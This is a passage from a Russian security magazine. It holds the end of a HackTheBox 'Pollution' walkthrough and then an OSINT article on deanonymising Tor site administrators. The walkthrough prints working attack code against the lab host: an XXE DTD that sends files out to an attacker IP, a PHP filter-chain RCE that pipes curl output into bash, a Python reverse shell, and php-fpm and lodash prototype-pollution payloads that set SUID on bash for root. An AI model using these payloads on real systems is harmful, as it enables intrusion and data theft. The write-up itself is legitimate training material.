• 80 — веб-сервер Apache 2.4.54;
• 6379 — СУБД Redis.

Наиболее вероятная точка входа при таком выборе — веб-сайт. Его-то и про-
верим первым делом.

Главная страница сайта

В информации на сайте отражается реальный домен, который мы добавляем


в файл /etc/hosts.

10.10.11.192 pollution.htb collect.htb

Информация на сайте

А так как мы получили реальное доменное имя, попробуем просканировать


поддомены.

Одно из первых действий при тестировании безопасности веб-приложе-


ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем сле-
дующие параметры:
• -w — словарь (я использую словари из набора SecLists);
• -t — количество потоков;
• -u — URL;
• -H — заголовок HTTP;
• -fs — фильтровать страницы по размеру.

Место перебора помечается словом FUZZ.

Получается вот такая команда:

ffuf -u 'http://collect.htb/' -w subdomains-top1million-110000.txt -t


256 -H 'Host: FUZZ.collect.htb' -fs 26197

Результат сканирования поддоменов

Добавляем все найденные записи в файл /etc/hosts.

10.10.11.192 pollution.htb collect.htb forum.collect.htb developers.


collect.htb

На первом домене обнаруживаем открытый форум с возможностью регис-


трации, а на втором нас встречает HTTP-аутентификация.

Главная страница forum.collect.htb

Переходим к изучению форума.

ÒÎ×ÊÀ ÂÕÎÄÀ
Регистрируемся на форуме, так как это позволит расширить область иссле-
дования. Сразу копируем себе список пользователей, иногда это очень важ-
ная информация.

Пользователи форума

Переходим к открытым темам и просматриваем обсуждения. В одном посте


видим, как пользователь расшарил историю прокси-сервера.

Сообщение с историей прокси-сервера

В файле видим всю историю запросов и ответов, проходивших через прокси.


Эти данные закодированы в Base64.

Содержимое файла proxy_history.txt

Декодировать можно прямо в Burp с помощью комбинации клавиш Ctrl-Shift-


B.

Декодированный запрос на сервер

Находим очень интересный запрос, который повышает роль пользователя


до администратора. Вернемся к исходному сайту и отправим аналогичный
запрос с тем же токеном.

Запрос на повышение привилегий

Токен оказался неодноразовый, и роль пользователя повысилась до адми-


нистратора сайта.

Страница администратора

Эти привилегии позволяют нам разрешить пользователю получать доступ


по API.

Форма регистрации пользователя API

Просматриваем историю запросов Burp History и находим запрос на регис-


трацию пользователя API.

Данные отправляются в формате XML, а значит, здесь может быть уязвимость


XXE. Давай проверим!

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ЭКСПЛУАТИРУЕМ XXE
И РАЗБИРАЕМСЯ
С УЯЗВИМОСТЬЮ
PROTOTYPE POLLUTION

ÒÎ×ÊÀ ÎÏÎÐÛ
XXE

Èíúåêöèÿ âíåøíèõ ñóùíîñòåé XML (XXE) — это уязвимость, которая


позволяет атакующему вмешиваться в обработку XML-данных. Эта уяз-
вимость часто помогает атакующему просматривать произвольные файлы
в файловой системе сервера и взаимодействовать с любыми серверными
или внешними системами, к которым имеет доступ само приложение.
Это происходит из-за того, что приложение может использовать формат
XML для передачи данных. Для их обработки в таких случаях почти всегда
применяется стандартная библиотека или API платформы. Уязвимости XXE
возникают из-за того, что спецификация XML содержит потенциально опас-
ные функции, которые можно вызвать, даже если приложение их не исполь-
зует.
Внешние сущности XML — это настраиваемые сущности, определенные
значения которых загружаются из файлов DTD с удаленного сервера.

Попробуем прочитать файл /etc/hosts. Запустим веб-сервер:

python3 -m http.server 80

И создадим нагрузку, которая попытается загрузить файл DTD evil.dtd


с нашего веб-сервера.

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://10.10.14.13/evil.dtd"> %xxe;
]>
<root>
<method>POST</method>
<uri>/auth/register</uri>
<user>
<username>ralf</username>
<password>ralf</password>
</user>
</root>

Теперь переходим к содержимому файла DTD. Сначала сущность будет


читать целевой файл и кодировать его в Base64. А затем загружать новую
удаленную сущность, но в URL-параметре передавать закодированный файл,
который мы хотим получить.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/


resource=../../../../etc/hosts'>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.14.6/
?file=%file;'>">
%eval;
%exfiltrate;

Выполнение запроса на сервер

Логи веб-сервера Python 3

Мы получили данные, а значит, уязвимость есть. Давай читать файлы сайта.


Начинаем, конечно, с index.php (изменяем только первую строку файла
DTD).

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/


resource=index.php'>

Отправляем новый запрос, получаем файл на свой сервер и декодируем


Base64-строку.

Содержимое файла index.php

Этот файл ничего, кроме новых путей, не раскрывает. Давай получим подклю-
чаемый файл bootstrap.php.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/


resource=../bootstrap.php'>

Содержимое файла bootstrap.php

И получаем секрет для подключения к службе Redis. К ней перейдем чуть поз-
же, а пока продолжим выжимать максимум из XXE. Правда, больше исходные
коды нам ничего не открыли, но помним про HTTP-аутентификацию на одном
из доменов. Вспоминаем про домен developers. Получим учетные данные
из файла /var/www/developers/.htpasswd.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/


resource=../../../../../../var/www/developers/.htpasswd'>

Содержимое файла .htpasswd

Чтобы перебрать этот хеш, нам нужно знать режим перебора. В этом
поможет справка hashcat.

hashcat --example | grep '\$apr1\$' -A2 -B2

Описание хеша

Получаем режим 1600, который передаем в параметре -m.

hashcat -m 1600 hash.txt rockyou.txt

Результат перебора хеша

Получаем пароль и авторизуемся на developers.collect.htb, но нас встре-


чает еще и авторизация на сайте.

Форма авторизации developers.collect.htb

Теперь перейдем к изучению Redis.

Auth Bypass
Порт открыт, поэтому подключаемся с найденным паролем и получаем все
ключи.

redis-cli -h collect.htb -a COLLECTR3D1SPASS


keys *

Ключи в базе Redis

Получаем сессии, видимо, какого-то веб приложения. Для проверки перехо-


дим к сайту developers, получаем новую сессию в куки и снова проверяем
ключи в Redis.

Burp History

Ключи Redis

Получим записи по ключам, чтобы разобрать формат хранящихся данных.

Получение данных Redis

Первая запись соответствует сайту collect, а только что созданная сессия,


конечно же, ничего не хранит. По известной записи сформируем данные
для администратора сайта developers и присвоим только что созданному
ключу.

set PHPREDIS_SESSION:iht1inpstsraqqkbnc1grpi8fa "username|s:4:"ralf";


role|s:5:"admin";auth|s:4:"True";"

Обновляем страницу на сайте и получаем доступ от имени авторизованного


пользователя.

Домашняя страница сайта Developers

Сразу обращаем внимание на то, что страница передается в качестве URL-


параметра page. В таких случаях нужно сразу искать уязвимости типа LFI
или RCE. Я попробовал несколько, но ничего не получилось. Скорее всего,
используются фильтры и мы можем посмотреть на них, прочитав код сайта
через XXE.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/


resource=../../../../../../var/www/developers/index.php'>

Содержимое файла /var/www/developers/index.php

Используется функция include, но к указанной странице добавляется рас-


ширение .php.

PHP include RCE


Даже в таком случае мы можем выполнить произвольный код благодаря
репозиторию php_lter_chain_generator.

Создание нагрузки

Теперь отправляем ее на сайт и в ответе видим результат выполнения коман-


ды.

Эксплуатация RCE

Осталось вместо команды id выполнить команду, которая скачает и запустит


с нашего веб-сервера следующий реверс-шелл.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.


AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",4321));os.dup2(s.
fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;
pty.spawn("sh")'

Чтобы поймать входящее соединение, используем pwncat-cs.

python3 php_filter_chain_generator.py --chain '<?= `curl http://10.


10.14.6/r | bash` ?>'

Сессия пользователя веб-сервера

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ЭКСПЛУАТИРУЕМ XXE
И РАЗБИРАЕМСЯ
С УЯЗВИМОСТЬЮ
PROTOTYPE POLLUTION

ÏÐÎÄÂÈÆÅÍÈÅ
Теперь нам необходимо собрать информацию о системе и потенциальных
способах повышения привилегий до рута. Я для этого использую скрипты
PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

Давай посмотрим, что нашел скрипт.


В списке процессов отмечаем запущенные от имени разных пользовате-
лей процессы php-fpm, а также запущенный от имени рута pollution_api
nodejs.

Список процессов php-fpm

Процесс nodejs

Среди прослушиваемых портов есть порт службы MySQL 3306.

Список прослушиваемых портов

Так как работает служба базы данных MySQL, скорее всего, базы данных
используются веб-приложением. Значит, мы можем найти в исходных кодах
сайта учетные данные для подключения к СУБД и получить из базы все инте-
ресные данные. Код для подключения к СУБД находим в файле login.php.

Содержимое файла login.php

Подключаемся к базе данных и просматриваем существующие таблицы.

mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -D developers

show tables;

Таблицы в базе developers

Получаем данные из единственной таблицы users.

select * from users;

Логины и пароли пользователей

Полученные учетные данные никуда не подходят, поэтому перейдем к php-


fpm. Используем известный эксплоит для выполнения кода PHP. В качестве
выполняемого кода будем просто вызывать функцию system и передавать ей
команду.

touch r.php
python3 fpm.py -c '<?php system("id"); ?>' 127.0.0.1 /tmp/r.php

Выполнение команды id

Команда выполнена от имени пользователя victor. Давай скопируем файл


командной оболочки /bin/bash и назначим ему бит SUID.

python3 fpm.py -c '<?php system("cp /bin/bash /tmp/bash; chmod u+s /


tmp/bash"); ?>' 127.0.0.1 /tmp/r.php

Копирование файла командной оболочки

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,


запускающий этот файл, получает повышение прав до пользователя — вла-
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из-за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

Теперь мы можем запустить новую сессию от имени пользователя victor.

/tmp/bash -p

Получение сессии пользователя victor

Генерируем SSH-ключ командой ssh-keygen и записываем публичный SSH-


ключ в файл ~/.ssh/authorized_keys. Затем подключаемся с приватным
ключом и забираем первый флаг.

Флаг пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


В домашнем каталоге пользователя находим исходные коды приложения
pollution_api, которое, как мы видели ранее, уже запущено от имени поль-
зователя root.

Содержимое каталога pollution_api

Исходников очень много, поэтому загрузим на хост архиватор 7za и упакуем


их для более удобного скачивания.

./7za a -r pollution_api.7z pollution_api

Архивирование исходных кодов

Получаем архив с удаленного сервера и открываем в любой среде разработ-


ки. Все эндпоинты API можем найти в файле documentation.js. Мы уже
регистрировались, поэтому в /auth/login можно будет получить токен дос-
тупа. Нас интересуют точки /admin/messages и /admin/messages/send.

Содержимое файла documentation.js

Переходим к файлу admin.js. Обозначенные точки ведут к модулям


Messages и Messages_send соответственно.

Содержимое файла admin.js

При этом из admin.js тоже видим механизм аутентификации, где перед про-
веркой роли список пользователей извлекается из базы данных запросом
User.findAll. Подробности можем найти в файле User.js.

Содержимое файла User.js

В коде находим учетные данные для подключения к базе данных.

Содержимое файла db.js

Теперь мы можем подключиться к ней, поменять роль пользователя на адми-


нистратора и получить доступ к конечным точкам /admin/messages и /admin/
messages/send. Подключимся к базе и просмотрим таблицы.

mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -D pollution_api

show tables;

Таблицы в базе pollution_api

В таблице users хранится информация о пользователях.

select * from users;

Пользователи в таблице users

Изменить роль пользователей можно одним запросом.

update users set role='admin';

Теперь переходим к командной оболочке и используем API для авторизации.

curl http://127.0.0.1:3000/auth/login -H "content-type: application/


json" -d '{"username":"ralf","password":"ralf"}' ;echo

Результат запроса

Мы авторизованы и получили токен доступа. Изучаем исходники дальше, что-


бы понимать наши возможности.
В файле Messages_send.js происходит проверка параметра text (стро-
ка 8), а затем переданные пользователем данные передаются в функцию
merge модуля lodash (строки 3 и 15).

Содержимое файла Messages_send.js

Эта функция уязвима перед prototype pollution.

Prototype pollution
В JavaScript классы реализуются с помощью так называемых прототипов.
Прототип любого объекта доступен через свойство __proto__, то есть спра-
ведливо следующее:

"abc".__proto__ === String.prototype

Прототипы — это обычные объекты, а значит, их можно модифицировать.


Добавление свойства к прототипу приведет к тому, что все существующие
объекты этого типа тоже будут иметь новое свойство.
Можно проверить на примере пустого объекта obj_1. Добавим к его про-
тотипу свойство x, потом создадим новый объект obj_2 такого же типа, и у
него тоже будет свойство x.

Проверка свойства прототипа

В коде мы видим выполнение функции exec, что приводит к созданию нового


процесса. Для таких случаев уже есть много готовых нагрузок, эксплуати-
рующих prototype pollution, которые очень легко найти в интернете.
Так, мы можем установить NODE_OPTIONS для активации дополнительных
аргументов командной строки процесса. Не все аргументы получится уста-
новить, но один из допустимых — --require, который можно использовать
для включения любого файла.
Обычный способ эксплуатации такой уязвимости — вставить новую
переменную среды перед NODE_OPTIONS, которая содержит код JavaScript
и имеет завершающий комментарий, чтобы избежать синтаксических оши-
бок. Однако Node.js теперь по-другому обрабатывает параметр
NODE_OPTIONS и помещает его первым в списке аргументов, что не дает экс-
плуатировать уязвимость.
Однако и это можно обойти — за счет опций самой функции exec. Первый
ее аргумент — argv0, он указывает первый элемент в списке аргументов
нового процесса (обычно это исполняемый двоичный файл). Весь список
аргументов отражен в файле /proc/self/cmdline, поэтому первый элемент
будет расположен в самом начале. Таким образом, атакующий должен изме-
нить значение NODE_OPTIONS на --require /proc/self/cmdline и помес-
тить свою нагрузку в argv0.
Осталось решить последнюю проблему. Так как первый аргумент теперь
изменен, процесс запустится, поскольку теперь это нагрузка Node.js, а не
путь к файлу. Но в опции shell можно указать путь к файлу командной обо-
лочки, который будет использован для запуска команды. Вместо /bin/sh
можно задать исполняемый файл Node.js, который и выполнит нашу нагрузку
в первом параметре. Раз мы и так работаем из Node.js, путь к исполняемому
файлу можно взять из /proc/self/exe.
Собираем нагрузку и можем эксплуатировать prototype pollution.

{
"text":
{
"constructor":
{
"prototype":
{
"shell":"/proc/self/exe",
"argv0":"console.log(require("child_process").
execSync("chmod +s /usr/bin/bash").toString())//",
"NODE_OPTIONS":"--require /proc/self/cmdline"
}
}
}
}

Эта нагрузка установит S-бит файлу командной оболочки /bin/bash. Отправ-


ляем запрос с нагрузкой на сервер.

curl http://127.0.0.1:3000/admin/messages/send -H "x-access-token:


eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VyIjoicmFsZiIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6M
TY3NTMzODg4MCwiZXhwIjoxNjc1MzQyNDgwfQ.
SLKZoNeaTGU0mr22ue2C3AB1htN5VAU7ZS0rZCpCEhs" -H "content-type:
application/json" -d '{"text":{"constructor":{"prototype":{"shell":"/
proc/self/exe","argv0":"console.log(require("child_process").
execSync("chmod +s /usr/bin/bash").toString())//","NODE_OPTIONS":
"--require /proc/self/cmdline"}}}}'

Сервер ответил {"Status":"Ok"}, проверим права на файл /bin/bash.

Права на файл /bin/bash

Атрибут SUID установлен, а это значит, что обычный пользователь, запус-


кающий этот файл на исполнение, получает повышение прав до пользовате-
ля — владельца файла в рамках запущенного процесса. В данном случае
это root.

Флаг рута

Машина захвачена, и мы получаем флаг.


ПРИВАТНОСТЬ

КАК ЛОВЯТ АДМИНИСТРАТОРОВ


САЙТОВ В TOR

В этой статье я расскажу о том, как вычис-


ляют администраторов ресурсов в Tor
Network, то есть в дарквебе. Мы рассмот-
рим структуру сайтов в Tor, обсудим извес-
тные случаи деанона и многие другие осо- moon
Интернет-расследователь и
бенности этого темного уголка интернета, владелец osintkanal.ru
moonlighted_email@proton.me
который считается анонимным. По ходу
дела я буду рекомендовать программы,
которые помогут в работе.

Думаю, ты уже в курсе, что сайты, адрес которых заканчивается на .onion, —


не простые и без дополнительных усилий открыть их в обычном браузере
не выйдет. Так называемый дарквеб состоит из таких вот сайтов. Очень часто
они посвящены торговле незаконными товарами и услугами. Конечно, ведь
администраторам этих сайтов не приходится заполнять свои контактные дан-
ные при регистрации, никакой цензуры нет, а «луковая» маршрутизация через
череду прокси-серверов должна обеспечивать анонимность.
Сайты в Tor Network не индексируются обычными поисковиками, зато
существуют специализированные поисковики, которые ищут только в Tor.
В общем, как ты понял, это целый отдельный мир.

ÊÀÊ ÐÀÁÎÒÀÅÒ TOR NETWORK

При обычной прямой IP-маршрутизации все относительно просто: один узел


делает запрос по какому-то адресу, другой отвечает на тот же адрес,
с которого поступил запрос. В луковой же маршрутизации любой запрос сна-
чала проходит через три узла, называемых нодами Tor. По умолчанию входной
и выходной узлы шифруют информацию так, чтобы она прошла через сле-
дующий узел.
Идеальная защита от слежки? Не совсем. Любой в теории может сделать
свой компьютер узлом-посредником и собирать данные о запросах. Ты спро-
сишь, кому это нужно, если информация зашифрована? А что, если ата-
кующий будет собирать часть информации до шифрования, заразив входную
ноду? Или наоборот — выходную, и получать данные о запрашиваемых
ресурсах? Именно второй вариант наиболее распространенный.
К тому же злоумышленник может модифицировать или полностью изме-
нить информацию, передаваемую от сервера клиенту. Так можно даже
заразить устройство клиента вредоносным кодом.
В 2020 году была обнаружена хакерская группировка KAX17, которая
управляла 900 зараженными серверами, к которым обращалось до 16%
пользователей Tor.
Вот несколько инструментов, которые помогают исследовать ноды Tor:
• TOR Node List — список нод;
• ExoneraTor — проверка IP на использование в качестве нод Tor;
• Onionite — информация о нодах;
• Tor Metrics — информация о нодах;
• Collector Tor — архив IP и портов узлов.

Как и в обычном интернете, сайты в Tor могут получать от клиента информа-


цию о разрешении экрана, количестве ядер компьютера и других параметрах,
которые в совокупности могут составлять уникальный отпечаток.
Именно поэтому эксперты советуют не включать JavaScript на сайтах
в даркнете или как минимум не использовать браузер в полноэкранном
режиме, чтобы не выдавать размер экрана. Цифровой отпечаток — это,
конечно, не так страшно, как настоящие личные данные, но позволяет
выделить уникального посетителя из определенного количества.

«ËÓÊÎÂÀß» DNS

Разведка через Whois и сервисы типа DNSdumpster в сети Tor просто невоз-
можна, ведь луковичная система доменов работает совсем не так, как обыч-
ная. Вот ее основные отличия:
1. Существует только единая доменная зона .onion, домены состоят из сге-
нерированных идентификаторов, из-за чего в принципе отсутствует та
самая иерархическая структура с TLD, SLD и поддоменами.
2. Децентрализованное хранение — это главная проблема собирающего
информацию, ведь из-за него невозможно послать запрос к Whois. В клас-
сической DNS информация о доменах и соответствующих им IP-адресах
хранится на централизованных DNS-серверах. В Tor информация
о доменах .onion и их адресах хранится на распределенных узлах в сети
Tor.
3. Отличаются и протоколы. Если в классической DNS используются запросы
UDP и TCP-запросы, то система DNS в Tor напрямую обращается к рас-
пределенным узлам хранения, чтобы получить нужный адрес.

TorWhois — нечто вроде сервиса Whois для Tor.


Позволяет получить информацию об открытых
портах, сертификатах, ключах и информацию
о robots.txt.

Есть исследование, которое показало, что DNS-трафик в сети Tor можно


использовать для точного определения посещаемых сайтов. Исследователи
разными методами анализировали DNS-запросы, проходящие через выход-
ные узлы Tor, и выясняли корреляции этих запросов с конкретными сайтами.
Можно просто искать в запросах домены. Поскольку в адресах .onion
домены состоят из сгенерированных идентификаторов, их легко сравнивать
с идентификаторами в DNS-запросах и устанавливать соответствия. Это поз-
воляет определить, какие конкретные сайты пользователь посещал через Tor.
В редких случаях администраторы не удаляют метаданные у файлов, раз-
мещенных на сайте, а метаданные могут включать такую информацию,
как модель фотоаппарата, имя, геолокация и многое другое. Сейчас даже
обычные соцсети удаляют метаданные при загрузке файлов.

ÑÒÐÓÊÒÓÐÀ ÑÀÉÒÎÂ

Сайты в Tor используют обыкновенные CMS, как и сайты в «клирнете». Конеч-


но, внутри всё те же HTML, CSS и другие привычные технологии. То есть тут
нет ничего удивительного и нового. На скриншоте ты можешь увидеть, что
автор сайта сделал его на Bootstrap. А использование популярных тех-
нологий, конечно, открывает возможность для автоматизации аудита в целях
разведки. Для этого есть:
• Onionscan (аудит onion-сайта);
• Onion Nmap (Nmap для onion-сайта);
• OWASP ZAP (сканер);
• Nikto (сканер);
• WPScan (сканер);
• Burp Suite (сканер);
• Wapiti (сканер);
• список уязвимостей на Mitre.org.

ÒÅÍÅÂÀß ÝÊÎÍÎÌÈÊÀ

Чаще всего дарквеб используют для торговли запрещенными товарами


и услугами. Вырученные деньги потом нужно как-то выводить, и здесь тор-
говцы запрещенным изобретают самые изощренные схемы. Обычно —
с использованием криптовалюты. Именно на этапе вывода денег чаще всего
и попадаются владельцы маркетплейсов.
Представь: клиент покупает крипту, покупает на нее что-то в даркнете,
криптовалюта хранится на депозите маркетплейса, затем большая часть
переходит продавцу, а дальше он пытается ее обменять на фиатную валюту.
Получается, что можно установить, каким обменником пользуется про-
давец, если знать адрес его криптовалютного кошелька. Для этого достаточ-
но визуализировать его активность с помощью специальной программы.
На кошельке обменника, конечно же, будет огромное число транзакций
и немалая сумма денег.
Визуализаторы зачастую платные, но есть и несколько бесплатных:
• Breadcrumbs;
• OXT.ME;
• Blockpath.

Часто при отмыве денег применяются криптовалютные миксеры. Они поз-


воляют скрывать криптовалютные активы, распределяя их по множеству дру-
гих кошельков, и затем снова переводят в один. Это усложняет отслеживание
транзакций, но не делает их полностью анонимными.
Если визуализировать транзакции кошелька, который использовал мик-
сер, можно заметить следующие особенности:
• множество входов и выходов в одной транзакции, включая адреса, не свя-
занные с исходным кошельком;
• перемешивание средств между разными адресами и кошельками;
• связи с другими транзакциями — цепочки и кластеры транзакций, связан-
ные с биткоин-миксером;
• неоднородность сумм транзакций;
• необычные временные интервалы между транзакциями.

Найти настоящий адрес покупателя тяжело, но вполне реально. Однако


ПО для анализа транзакций миксеров в открытом доступе пока что нет.
Поэтому приходится просто идти по цепочке транзакций, пока не найдешь
что-то похожее на кошелек, принадлежащий человеку.
Как ты понял, отмыв денег и их отслеживание — это отдельная большая
тема. Но знать о ней нужно, хотя бы на базовом уровне. Существует
огромное количество схем легализации средств, полученных преступным
путем, — от создания офшорных организаций до покупки разного имущества.
Все это, мы, конечно, здесь разбирать не будем.

ÏÎÈÑÊÎÂÈÊÈ

Поисковики и дорки (рецепты запросов) всегда были главным оружием сов-


ременного OSINT-специалиста, и в сети Tor всё точно так же. Давай пос-
мотрим, какие поисковики ищут по дарквебу.
Вот поисковые системы, доступные в клирнете и индексирующие onion-
сайты:
• Onion Search Engine;
• Torry;
• OnionLand Search;
• Tor Search;
• OnionSearch;
• DuckDuckGo.

Многие из них удобны и позволяют комбинировать результаты из клирнета


и дарквеба.
А вот список поисковых систем, у которых есть сайты в сети Tor (ссылки
приведены на onion-адреса):
• DuckDuckGo;
• Not Evil;
• Ahmia;
• Haystak;
• Torch;
• Demon.

С этими системами можно пробовать базовые дорки вроде поиска точного


совпадения (двойные кавычки), указания сайта, на котором искать (оператор
site), оператора intext и прочих в том же духе. В большинстве поисковиков
это сработает.

Подробнее о дорках читай в статьях «Используем


малоизвестные функции Google, чтобы найти сок-
рытое» и «Google как средство взлома. Разбира-
ем актуальные рецепты Google Dork Queries».

Если наша цель — вычислить администратора форума, то в ход идут любые


приемы разведки. Например, если известны его интересы, то можно прой-
тись по тематическим форумам в поисках упоминания его никнейма.
Вот пример запроса, который выдаст результат поиска по архиву форума
«Хакера» в поисках пользователя moon:

site:oldforum.xakep.ru intext:moon

Кстати, о тематических форумах. Есть вики, которые коллекционируют ссылки


на сайты в дарквебе, и оттуда легко почерпнуть подборку адресов кри-
минальных форумов. Вот некоторые из них:
• The Hidden Wiki;
• IACA DarkWeb;
• DarkWeb Links;
• The DarkWeb Links.

Если ты знаешь, что человек увлекается, например, чтением, можешь про-


верить соответствующие разделы форумов.

Пользователи форумов и администраторы маркетплейсов тоже не роботы,


такчто им свойственно допускать ошибки. К примеру, кто-то может отправить
свою фотографию человеку, с которым познакомился в интернете. Я лично
слышал о нескольких случаях, когда задерживали администраторов крупней-
ших нелегальных площадок, предлагая встретиться. Эксперты используют
самые разные ловушки и ханипоты, чтобы подсунуть преступнику файл, ссыл-
ку, а иногда целое фейковое приложение или маркетплейс.

ËÎÂÓØÊÈ

Ловушки вроде IP Logger или Canary Tokens — это самое простое и малобюд-
жетное, что бывает. В случае с Canary Tokens ты можешь развернуть свой
сервер с помощью готового образа для Doсker, который любезно предос-
тавили нам разработчики. У этого инструмента много интересных возможнос-
тей, и, на мой взгляд, его часто недооценивают.
Что до IP Logger, то не рекомендую использовать его при попытках выс-
ледить профессионалов. Эта программа скорее напоминает детскую
игрушку, а не рабочий инструмент, и мало-мальски продвинутый поль-
зователь сразу заподозрит недоброе.

ÔÈÍÃÅÐÏÐÈÍÒÈÍÃ

Поскольку сайтам в Tor не запрещено использовать все стандартные тех-


нологии, здесь может работать и фингерпринтинг — отслеживание поль-
зователей через уникальные отпечатки.
Для примера заглянем на сайт AmIUnique.org. Сервис без проблем опре-
делит версию движка, ОС, язык, шрифты, плагины и с некоторой точностью —
поддерживаемые браузером аудио- и видеоплагины. Это сложно назвать
точной идентификацией, но выделить одного подозреваемого из тысячи
может помочь.
Tor Browser специально маскирует разрешение экрана, чтобы затруднить
идентификацию, плюс пользователи могут сами подменить отпечаток
на основе тега canvas. Все это делает фингерпринтинг менее точным, но не
предотвращает его полностью.

Есть и более изощренные тактики, основанные на фингерпринтинге. Не все


знают, что если открыть Tor Browser и обычный и потом переключаться между
ними горячими клавишами или мышью, то можно выдать связь своего реаль-
ного IP и IP в сети Tor. Подводят уникальные закономерности вроде положе-
ния курсора мыши, которое можно отследить. То же касается и исполь-
зования двух вкладок в Tor Browser. Tor будет использовать для них разные
входные узлы, но, если включен JavaScript, взаимосвязь между табами все же
можно будет установить.

ÀÍÀËÈÇ ÒÅÊÑÒÀ

Не секрет, что у каждого свой стиль сообщений в социальных сетях, и адми-


нистраторы форумов и маркетплейсов не исключение. Кто-то часто ставит
пробелы перед запятыми, кто-то не фанат прописных букв, а у кого-то просто
сломана клавиатура и какая-то кнопка часто не нажимается.
Все эти маленькие особенности помогут найти другие аккаунты на других
форумах, в социальных сетях и так далее. Говорят, что именно такие ошибки
допускал Росс Ульбрихт, владелец крупного маркетплейса Silk Road.

ÊÐÀÓËÅÐÛ, ÑÏÀÉÄÅÐÛ, ÑÊÐÅÏÅÐÛ

Существуют разные типы инструментов для сбора данных в интернете.


• Crawler (краулер) — это программа, которая автоматически обходит сай-
ты и собирает информацию. Она работает подобно паукам, но способна
собирать информацию разных типов.
• Scraper (скрепер) — программа, которая извлекает данные с веб-сайтов,
часто автоматически, и сохраняет их в структурированном формате
для дальнейшего использования или анализа.
• Spider (паук) — программа, которая автоматически переходит по ссылкам
на сайтах, анализирует содержимое страниц и индексирует их для поиска
или других целей.

Эти инструменты полезны при анализе сайтов в сети Tor. Они помогают соб-
рать информацию о фотографиях, директориях и самую разную информацию
о структуре сайтов. Интересны они тем, что дают максимум сведений о том,
что происходит на сайте, без посещения самого сайта.
Начнем с краулеров, их можно использовать для сбора определенного
типа данных на сайте, к примеру фото, видео, текста и так далее. Например,
ты хочешь перебрать все фото на сайте и найти те, которые содержат
метаданные.
Вот несколько краулеров для Onion:
• TorBot;
• OnionBot;
• OnionScan;
• VigilantOnion;
• OnionIngestor.

Скреперы работают по заданному алгоритму, который определяет, какие


данные нужно собирать и как их извлекать. Обычно они делают запросы
к серверу, а затем анализируют полученный HTML, чтобы извлечь нужную
информацию. В ход идут разные методы разбора страниц — парсинг HTML,
поиск по тегам и классам CSS, регулярные выражения и так далее. Часто сай-
ты выгружаются целиком для дальнейшего анализа.
Вот некоторые программы и библиотеки для скрепинга:
• Scrapy;
• BeautifulSoup;
• Selenium;
• Puppeteer;
• Frontera.

Пауки же предназначены для индексации сотен и тысяч ссылок. Для Tor


существуют Onioff и Onion Spider.

ÔÎÐÅÍÇÈÊÀ

Под конец немного затронем тему форензики, а не OSINT. При судебно-тех-


нической экспертизе компьютера, на котором использовался Tor, в первую
очередь стоит проверять:
1. Папку C:\Windows\Prefetch, где могут находиться файлы, связанные
с запуском Tor Browser (исполняемый файл браузера или файлы DLL, заг-
ружаемые при его работе). Анализ их временных меток позволяет уста-
новить, когда запускался браузер.
2. Кеш миниатюр. В нем могут сохраняться превью изображений, прос-
мотренных через Tor. Их можно сопоставить с определенными сайтами.
3. Файл подкачки. Здесь тоже может быть инфа о запуске браузера, посеще-
нии сайтов и файловых операциях, связанных с использованием Tor.
4. Реестр Windows. Помогает извлечь настройки браузеров, историю
посещений, кешированные данные, а также записи о загруженных рас-
ширениях и плагинах.

Анализ дампов — также неотъемлемая часть судебно-технической экспер-


тизы. В них содержится масса информации о том, что происходило на компь-
ютере. Захватить дамп оперативной памяти можно, к примеру, при помощи
Belkasoft RAM Capturer.
Для анализа реестра может пригодиться программа Regshot.
Для анализа сетевого трафика рекомендую Wireshark и NetworkMiner.
Wireshark хорош для выявления разных типов пакетов и фактов установки свя-
зей между узлами. Он помогает идентифицировать характеристики протоко-
лов, используемых в Tor. А NetworkMiner специализируется на анализе
сетевого трафика и выявлении скрытых связей и закономерностей.
NetworkMiner может помочь в обнаружении и анализе активности в сети Tor,
включая обмен информацией и использование анонимных прокси-серверов.
И конечно, нужно изучить базу данных самого Tor Browser. Она находится
по такому пути:

TorBrowser\Browser\TorBrowser\Data\Browser\Profile.default

Здесь при определенных настройках браузера может храниться история


просмотра, закладки, сохраненные пароли, cookie и другие пользовательские
данные.
Изучение данных кошельков Bitcoin — тема отдельная и сложная, но для
сбора доказательств можно использовать Internet Evidence Finder.

ÂÛÂÎÄÛ

При видимой анонимности сайтов в Tor всегда есть способы идентифици-


ровать их владельцев. Да, некоторые из них сложны и требуют серьезной
работы, но, поскольку администраторы тоже совершают ошибки, нет-нет
да срабатывают. Рекомендую всем, кто занимается подобными расследова-
ниями, не забывать применять не только описанные тактики, но и те методы,
